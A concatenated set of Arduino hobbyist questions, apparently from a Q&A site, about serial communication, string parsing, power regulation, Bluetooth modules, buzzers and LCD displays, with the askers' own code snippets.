#include <iterator>
#include <vector>

vector<int> test;

void setup(){
   Serial.begin(57600);

   test.push_back(1);
   test.push_back(2);
   test.push_back(3);
   test.push_back(4);
}

void loop(){
   for (int i = 0; i < test.size(); i++){
      Serial.println(test[i]);
   }
}

I would still like to know of other working STL Libraries as it seems that there are tons of outdated and old libraries out there.


texts:
I'm trying to connect a HC-05 to AB Shutter3 module. However, when I try to search AB Shutter3 address via AT commands (AT+INQ) I could not find AB Shutter3.

I want to integrate both, so that I can send commands from an AB Shutter button click to HC-05.

I also want to know whether the HC-05 needs to be in master or in slave mode.


texts: How to upload data to program over USB port

texts:
I am working on a set of Visual poi (like these https://lighttoys.cz/store/vpoi/v4/)  and need to upload new pictures to the controllers every now and again. Currently I use a program to convert a picture in to code, paste that code in to an Arduino sketch as a variable and upload the sketch. What other ways are there to upload a new image (preferably without re-uploading the entire sketch)?
Cheers


texts: How to change Windows 10 Device Manager so Arduino NANO COM3 can operate on COM4

texts:
The Arduino ATmega328 NANO uses COM3 on my WINDOWS 10 computer,
but COM3 is NOT available.
QUESTION:
Please explain in detail how I can change this Arduino NANO
to operate on COM4


texts: Serial Communication Issue with Telit LE910 LTE Modem

texts:
I have a project that uses a Telit LE910 4G LTE Modem to allow me some basic monitoring via SMS and HTTP POST to Exosite.

I can connect to a Exosite server with and send a successful HTTP GET request to pull a UNIX timestamp (as a test).

Problem

The problem lies with receiving.  The information received cuts off halfway through the HTTP headers, before reaching the body of the information.

This image shows what prints out on the Serial monitor:

This image shows what the expected result should be:

And this image shows the code the executes to send the request:

The result is the same with PrintModemResponse() and with GetModemResponse().  Additionally, I have the same issue with receiving SMS messages.  The data appears to cut off partway through the expected response.  The modem serial (SW_Serial) baud rate is set to 115200.

Question

Am I doing something wrong with reading the Serial information from the modem?  Am I hitting a timeout of some sort?


texts:
I'm building a simple cnc machine that just writes letters. It uses 2 steppers for x and y axis.
Here is how it works

generate letters in c# and convert them to list of lines
send to arduino mov_xy line.x line.y as string for each line
on arduino convert to int, multiply by steps per mm and run with speedy stepper

It eventually builds up to accuracy problems.
If it's writing "ZWX", letter "X" would be slightly to the side.
Things i tried:

500000 baud rate
accumulate remainder of float number of steps
different usb cables
different cnc machines

It is serial communication error?
Do i need to implement CRC?
Can UNO handle this?
Does SERIAL_8E1 do parity check automatically or do i need do something?
I went trough everything many times.
What am i missing here?

This image is generated directly from letter lines in c#, so i doubt the problem is on c# side.


texts: Getting different values inside vs. outside a function while using global array

texts:
function splitter is designed to get a string of parameters and create a an array of parameters. If only part of parameters were given, the rest of them will get default values.

for example : input string 1,2,3,4 would fill parameters array with values {"1","2","3","4"}, but  if input string is 1,2, parameters={"1","2","20","0"} while parameters[3] and parameters[2] were given its default values.

BUT

when assigning default values, inside splitter the correct values are stored in parameters but when using print_output function to show parameters values - different values are shown.

in output supplied, when input is 1,2,  default values should be pasted, to parameters[2], and parameters[3] , while input is 1,2,3,4 no need to use defaults.

OUTPUT:

Running string 1,2
param_2 was set to default value:20
param_3 was set to default value:0
output:
1
2
0
0
Running string 1,2,3,4
output:
1
2
3
4

CODE:

#define PARAM_AMOUNT 4
#define COLOR 1
#define LED_DELAY 20
#define BRIGHTNESS  50
#define LED_DIRECTION 0

char *parameters[PARAM_AMOUNT] = {"0", "0", "0", "0"};
int param_def[] = {COLOR, BRIGHTNESS, LED_DELAY, LED_DIRECTION};

void setup() {
  Serial.begin(9600);
  Serial.println("Running string 1,2");
  splitter("1,2");
  print_output();

  Serial.println("Running string 1,2,3,4");
  splitter("1,2,3,4");
  print_output();
}

void splitter(char *inputstr) {
  char * pch;
  int i = 0;

  pch = strtok (inputstr, " ,.-");
  while (pch != NULL)
  {
    parameters[i] = pch;
    pch = strtok (NULL, " ,.-");
    i++;
  }

  //  update default values
  for (int n = i ; n <= PARAM_AMOUNT - 1; n++) {
    sprintf(parameters[n], "%d", param_def[n]);
    Serial.print("param_");
    Serial.print(n);
    Serial.print(" was set to default value:");
    Serial.println(parameters[n]);
    delay(50);
  }
}

void print_output() {
  Serial.println("output:");
  for (int n = 0 ; n <= PARAM_AMOUNT - 1; n++) {
    Serial.println(parameters[n]);
  }
}

void loop() {
  // put your main code here, to run repeatedly:
}


texts: 7805 powered Atmega328 Stops working when input of 7805 exceeds 7volts

texts:
I am developing a circuit with atmega328, the MCU is powered by a LM7805.
The input of 7805 is given by a variable supply. Till the input of 7805 is 7volts, the output voltage is 4.9volts and current is around .75amps. Now if the input voltage of 7805 is increased, the current also increases and the MCU stops working(sometimes work with being reset after a few seconds), please help me out guys... i need to connect those circuits to my car battery, so it must work with 12volts.

I added capacitors and diodes as per Majenko mentioned. Now the situation is a) The circuit is working at 12V, b) With single C817 , output voltage of mcu is 3.5V, c)I used 56 ohms resistance, which is giving 1.2V to the input of C817, d) The Collector to Emitter resistance of C817 is 1520 ohms when turned on, this is creating a voltage drop of 3volts. e) This output is turning the led on, but being unable to switch the relay.

Circuit Upate

This the modified circuit, which solves the problem. But i have some questions, in the modified circuit if BC547 is used then its not working because the collector voltage which should be around 0.2 remains 1.8 volts, but replacing the BC547 with BC337 solves the problem(Collector voltage becomes around 0.3).


texts: Can arduino create a file in its memory?

texts: I am an arduino enthusiast and i am new to it.just wanted to know weather the micro processor itself could create a file in its memory while its is running. I know that it is possible to read a write from a file in c++ but is it possible to do so in an arduino (while it's running).


texts: What is the best type of Arduino board for simple delivery robot?

texts:
I'm new to arduino, and I want to design a Simple Delivery Robot for Data Center, which has an arm to move items, and it follows line while moving.

I have no idea if there is a special arduino board for these types of robot or I can buy any arduino board.


texts: Why is a resistor to GND needed for a switch that is open?

texts: I don't understand the books explanation for why a 10k resistor is needed for an open switch to write LOW to a digital pin. I thought no voltage is LOW anyway. Can someone explain in a little more detail why this resistor is needed.


texts: How can I define a port extender MCP23s17 pin in Arduino

texts:
My task is to use a port extender (MCP23s17) to drive a touch keypad for which I have to define names of pins so that I can call those names in arguments of a function.

I have searched for different methods to define "PORT EXTENDER" pin but could not find any satisfactory results. Kindly help me handle the situation.

i have used the following libraries downloaded from Arduino playground
1. CapacitiveSensor.h
2. MCP23S17.h
Now I have to use MCP23S17 Pin in the following function

#define key1 2
#define key2 4
CapacitiveSensor cs_4_2=Capacitivesensor(key2,key1);  //capacitive sensor is connected to pin 4 and 2

key1 and key2 are Arduino's pins. I want some method by which I can refer key1 and key2 to the port extender's (MSP23S17) pin. The above answers are surely helpful but they doesn't fulfill my requirement.

Thanks in Advance
Sorry for English.


texts: A beginner lost at sea, Arduino looking at the sun

texts:
I am working on trying to make a LED strip respond to natural Light levels for a sculpture. I have reached a problem in trying to get the code to work when sending PWM to the light strip. Thank you for any suggestions!

const int analogInPin = A0;
const int analogOutPin = 9;

int sensorValue = 0;
int outputValue = 0;

void setup() {
  Serial.begin(9600);
}

void loop() {
  sensorValue = analogRead(analogInPin);
  outputValue = map(sensorValue, 0, 1023, 0, 500);
  analogWrite(analogOutPin, outputValue);
  Serial.print("sensor = ");
  Serial.print(sensorValue);
  Serial.print("\t output = ");
  Serial.println(outputValue);
  delay(2);
}

I am using an NTE 2908 N-channel.


texts:
I am trying to store and use a pointer to a global function.
The function global_f returns a String and takes an object as parameter:

String global_f(Request r){
    // ...
    return "This is it";
}

I have also declared a type:

typedef String (*f_type)(Request);

And this is the class that stores the function:

class T {
    f_type f;

    void setF(f_type fFunc){ // called as: setF(&global_f)
        f = fFunc;
        f(Request());        // This Works
    }

    void callF(){
        f(Request());       // This Freezes the arduino
    }
}

So I can call f in the instructor, but it freezes the Arduino in other methods.

Follow-up: It runs in all methods, that the function is being passed as a parameter and stored in the object.
This is where this functions is called in the actual code: GitHub


texts: Reusing LED from RC helicopter controller

texts:
I have an old RC helicopter controller, but not the helicopter.  I recently purchased an Arduino Uno and would like to do something with LEDs(beside the on-board one built-in). Can I use an LED from the controller, that is already soldered in, cut it free and plug into my breadboard.

Side Note

I have no experience in soldering and don't own a soldering iron.


texts:
I am trying to use boolean variables with two if statements. The second if condition never evaluates to be true. May be it's a problem with how I have defined my boolean variables. Do you see the mistake?

Here is the code:

int x = 0;
boolean state1 = (x <= 10);
boolean state2 = (x > 10);

void setup() {
  Serial.begin(9600);
}

void loop() {

  x++;

  if (state1) {
    Serial.println("x <= 10");
  } else if (state2) {
    Serial.println(" x > 10");
  }

}


texts: Circumventing overflow error by pushing data into computer?

texts: It seems in certain applications, for example signal processing, Arduino and other micro-controllers in general run into the overflow error when they're trying to store even moderate amounts of data. It would seem the obvious answer would be to simply take this data, push it onto the computer, and deal with it there instead, where you have much more available computing power. Is this possible with Arduino, or am I missing something that makes it not feasible?


texts:
I'm having a double buffer to write data from sensors to SD card. inBuf points to the buffer that are written into (from sensors). The other buffer write data to SD card.

char buffer[2][BUFLEN];
volatile int inBuf = 0;

inBuf = 1 - inBuf;

However, the update of inBuf does not work. Firstly inBuf is 0, and after that inBuf becomes 32!!! I tried different data types: boolean, uint8_t, int and the results are the same.

How could I fix this problem? Also, what datatype should I use for inBuf, as it's really just one bit?

I ended up using the following:

inBuf = inBuf? 0:1;

but seems really complicated and unnecessary.

EDITS:
Sorry for was not being clear previously. It turns out that I had an overflow in the code:

char buffer[2][BUFLEN];
volatile uint16_t bufferCounter;
volatile int inBuf = 0;
volatile bool outBufHasData = false;

Inside the interrupt handler:

if (bufferCounter < BUFLEN - SAMPLESIZEINCHAR + 1) {
  epoch = now();
  proximity = vcnl.readProximity();
  ambientLight = vcnl.readAmbient();

  // format to be fixed length as opposed to variable length
  // sacrifice overhead in written data with simpler and more robust code
  // since we know exactly how much to increment after each write
  int written = snprintf(&buffer[inBuf][bufferCounter], SAMPLESIZEINCHAR,
        "%10lu,%5d,%5d\n",
        epoch, proximity, ambientLight);

  if (written > 0) {
    bufferCounter += written;
  }
} else {
  // only switch buffer if out buffer is written to SD card
  if (!outBufHasData) {
    inBuf = inBuf? 0:1;
    bufferCounter = 0;
    outBufHasData = true;
  }
}

Then in the for loop, where the buffer is written to SD card when the buffer is full:

  if (outBufHasData) {
    myFile.print(buffer[1 - inBuf]);
    myFile.close();
    outBufHasData = false;
  }

Previously, I had bufferCounter < BUFLEN !! Thus I was writing over the memory of the buffer, and spill into bufferCounter and inBuf. That's why I got the value 32 of inBuf, which is the ASCII code of space. Mystery resolved!!


texts:
I'm trying to program a little bit in Arduino, but I'm stuck with probably something trivial.

This is what I have:

char ang[3], lat[9];
dtostrf(GPS.angle, 3, 0, ang);
dtostrf(GPS.latitude, 9,5, lat);

Serial.println(lat);
Serial.println(ang);
Serial.println("-------");

I would expect the following in the serial monitor:

5111.60160
267
-------

But instead, I'm getting this:

5111.60160
2675111.60160
-------

So it looks like the ang holds both the angle and the latitude....

Why is this happening? And how can I solve this?

My goal is to make one big string, comma separated, from the data stored in GPS


texts:
/*

*/

void setup() // Built in initialization block
{
    Serial.begin(9600);
    Serial.println("Beep!");
}

void loop() // Main loop auto-repeats

{

//   Serial.println("Beep!");

   tone(4, 3000, 1000); // Play tone for 1 second

   delay(1000); // Delay to finish tone
}


texts: Extract .hex from ATtiny45 using Arduino

texts: As it is possible to program a ATtiny45 using Arduino as ISP Programmer, is there a way to backup an ATtiny45 program to a .hex file using Arduino?


texts: How to write Arduino API code in VL53L1X?

texts: I'm trying write code for the VL53L1X on Arduino,  but I didn't get the VL53L1X registers. How to access them and how to measure the data in VL53L1X? Can anyone help me?


texts: How to set ALPN ProtocolName when negotiating SSL using ArduinoBearSSL

texts:
I am trying to set up an Arduino MKR Wifi 1010 to push MQTT messages to AWS IOT. I am following this tutorial https://create.arduino.cc/projecthub/Arduino_Genuino/securely-connecting-an-arduino-mkr-wifi-1010-to-aws-iot-core-a9f365 but I run into problems when the standard (secure) MQTT port (8883) seems to be filtered out somewhere between me and AWS. So I try to switch to 443, but AWS advises that you have to use the TLS extension ALPN and set ProtocolName to to "x-amzn-mqtt-ca" (see https://docs.aws.amazon.com/iot/latest/developerguide/protocols.html).

I am at a loss how I am to do this in ArduinoBearSSL (https://github.com/arduino-libraries/ArduinoBearSSL).


texts: Is there an alternative to strtok_r in extracting words from char?

texts:
The task, in char, I get some data that I have to parse into parts.

In this case, I use strtok_r, which finds identifiers like

  "=", " ", "&"

Code:

char payload[70] = "GET /wifi?ssid=MyWiFi&pass=123456789 HTTP 11";
char *p;
char *i;

void setup() {
  Serial.begin(15200);
  Serial.println("Load");

  p = strtok_r(payload, "=", &i);
  // Get SSID
  p = strtok_r(NULL, "&", &i);
  Serial.println(p);

  p = strtok_r(NULL, "=", &i);
  // Get PASS
  p = strtok_r(NULL, " ", &i);
  Serial.println(p);
}

void loop() {}

Result:

  Load MyWiFi 123456789

This works, but as soon as I add the characters strtok_r works on to the ssid = or pass = value, it stops working, outputting the cropped data.

These characters can be in the name of any WiFi network or the generated password.

Tell me, are there strtok_r analogues, where instead of a single character I can insert a whole phrase?

For example, so that he finds the beginning of ssid by the tag "ssid=", and finishes before "pass=".

Resolved.

Thank you all for your help!

I studied both options from @Majenko and @user7761803. All of them came in handy in various parts of the code.

Perhaps someone will use the Regexp library to parse such data. Here is example:

    #include <Regexp.h>

    char payload[60] = "ssid=MyWifi&pass=ukLPm&I*uwlm HTTP";
    char ssid[25], pass[25];

    void setup() {
      ms.Target(payload);
      char match_result = ms.Match("ssid=(.*)&pass=(.*) H", 0);
      if(match_result == 1) {
       // Get SSID
       ssid = ms.GetCapture(regexp_var.buffer, 0);
       // Get PASS
       pass = ms.GetCapture(regexp_var.buffer, 1);
      }
    }

    void loop() {}


texts:
I want to drive this 12V piezo buzzer:
http://www.conrad.com/ce/en/product/130256/Kemo-L001-High-Freqeuncy-Piezo-Speaker-Component-12-24-V

This is the circuit I am using.

The Arduino is powered by a 12V DC adapter trough the DC IN jack.

I have tested the following code:

void setup() {
}

void loop() {
  int pinOut = 9;
  int freq = 10;
  int duration = 100;
  while(1)
  {
    for(int i=0; i<1000 ; i++)
    {
      tone(pinOut, freq*i, duration);
      delay(duration * 1);
      noTone(pinOut);
    }
  }
}

When run I can hear the tones changing but is really really low. I have measured the voltage between buzzer pins and it is 12V (as expected) so the MOSFET seems to be properly working.

This piezo buzzer should be louder (I have tested it with this 12V tone generator http://www.kemo-electronic.de/en/Car/Modules/M048N-Ultrasonic-Generator.php )

I am making any mistake?
Thanks in advance!


texts: Merge two Arduino projects (change build process)

texts:
I'm working on a big software project consisting of several Arduino sketches.
I have one Arduino project providing general functionality, such as TCP/IP communication, parsing queries, handling errors, and some more. This part is fundamental for several devices, which extend this fundamental part by specific functionalities. E.g. one device needs to read temperature sensors and manage a loop to control the temperature and has its own sketch. Another device is driving a servo motor and measuring sun light and also has its own sketch. (And there are some other devices with specific sketches.)

I want to maintain the fundamental part in ONE sketch and the specific parts of the different devices each in OTHER sketches, so I can code both separately.

The problem is, those specific parts can not be compiled if not merged with the fundamental sketch, as this provides basic functions. So if I compile any specific part, I want the fundamental part to be added to the specific one and afterwards the whole code should be compiled.

Is there a way to manipulate the makefile used by the Arduino IDE? Then I could use whatever I want (bash or Python script) to merge in the desired way first.


texts:
I've made this small device that uses a ultrasonic sensor to tell how far away an object is and display it on a 16x2 display.

Here's the code:

#include <LiquidCrystal.h>

int Contrast=100;
 LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

const int trigPin = 7;
const int echoPin = 8;
// defining variables
long duration;
int distance;
void setup() {
pinMode(trigPin, OUTPUT); // Sets the trigPin as an Output
pinMode(echoPin, INPUT); // Sets the echoPin as an Input
Serial.begin(9600); // Starts the serial communication
  analogWrite(6, Contrast);

  lcd.begin(16, 2);
  lcd.clear();
}
void loop() {

// Clears the trigPin
digitalWrite(trigPin, LOW);
delayMicroseconds(2);
// Sets the trigPin on HIGH state for 10 micro seconds
digitalWrite(trigPin, HIGH);
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
// Reads the echoPin, returns the sound wave travel time in microseconds
duration = pulseIn(echoPin, HIGH);
// Calculating the distance
distance = duration / 29 / 2;
// Prints the distance on the Serial Monitor
Serial.print("Distance: ");
Serial.println(distance);
  lcd.setCursor(0, 0);
  lcd.print("Distance: ");

 lcd.setCursor(0, 1);
  lcd.print(distance);
  delay(100);
  lcd.clear();
}

Every thing works fine apart from the fact that the lcd backlight is too dim(barely visible). I tried looking online but is there any way i can get max brightness without a potentiometer? I do have resistors , can i use them somehow?